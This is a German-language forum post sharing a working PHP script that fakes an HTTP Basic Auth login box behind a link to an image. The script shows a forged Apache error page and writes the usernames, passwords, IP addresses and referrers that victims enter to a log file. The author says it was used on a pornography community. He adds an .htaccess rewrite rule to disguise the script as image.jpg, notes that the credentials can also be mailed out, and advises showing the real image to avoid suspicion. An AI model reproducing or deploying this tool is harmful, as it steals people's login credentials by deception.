<?php // B1nary @ Toolbase.me @date_default_timezone_set('Europe/Berlin'); // authentification failed $auth_failed = '<h1>Authorization Required</h1>This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn\'t understand how to supply the credentials required. <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr /> <i>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8e-fips-rhel5 FrontPage/5.0.2.2635 mod_bwlimited/1.4 mod_auth_passthrough/2.1 mod_wsgi/3.3 Python/2.7.1 Server at Port 80</i>'; // Login-Box Text $realm = 'Please enter your login data to see this picture!'; if (!isset($_SERVER['PHP_AUTH_USER'])): // Login-Box @header('WWW-Authenticate: Basic realm="'.$realm.'"'); @header('HTTP/1.0 401 Unauthorized'); die($auth_failed); else: // Daten empfangen $username = $_SERVER['PHP_AUTH_USER']; $password = $_SERVER['PHP_AUTH_PW']; if (empty($username) || empty($password)): die($auth_failed); else: // Daten speichern $ip = @getenv('REMOTE_ADDR'); $ref = $_SERVER['HTTP_RFERER']; $data = trim($username).' : '.trim($password); $auth = date('d.m.Y H:i:s', time())."\t".$ip."\t".@gethostbyaddr($ip)."\t".$ref." -> ".$data."\n"; $log = @fopen('logfile.txt', 'a+'); @fwrite($log, $auth); @fclose($log); // output echo 'image not available'; endif; endif; ?>
Sprache ist hier Englisch (war auf ner englischsprachigen "Porno-Community" im Einsatz), kann man sich ja aber selbst umdichten.
WWW-Authentications sind diese nervigen Login-Abfragen (z.B. wie beim htaccess-Schutz). Dieses Script faked eine solche Abfrage und speichert die eingegebenen Daten in eine Text-Datei. Versendung per mail() natürlich auch möglich.
Anwendungsbeispiel:
Verlinkung auf ein Bild und folgende htaccess im gleichen Verzeichnis
RewriteEngine on # RewriteBase / RewriteRule ^image.jpg$ index.php
index.php ist in diesem Fall das Fake-Auth Script und fragt Zugangsdaten ab. Hier z.B. eine Meldung wie "Verifiziere dich bitte mit deinen Anmeldedaten von XXX, um das Bild betrachten zu können!" oder ähnliches. Die htaccess leitet beim Aufruf von image.jpg auf das Script um.
Statt dem Text-Output kann man natürlich auch das Bild oder whatever anzeigen lassen, um keinen Verdacht zu erregen.
hf,
B1nary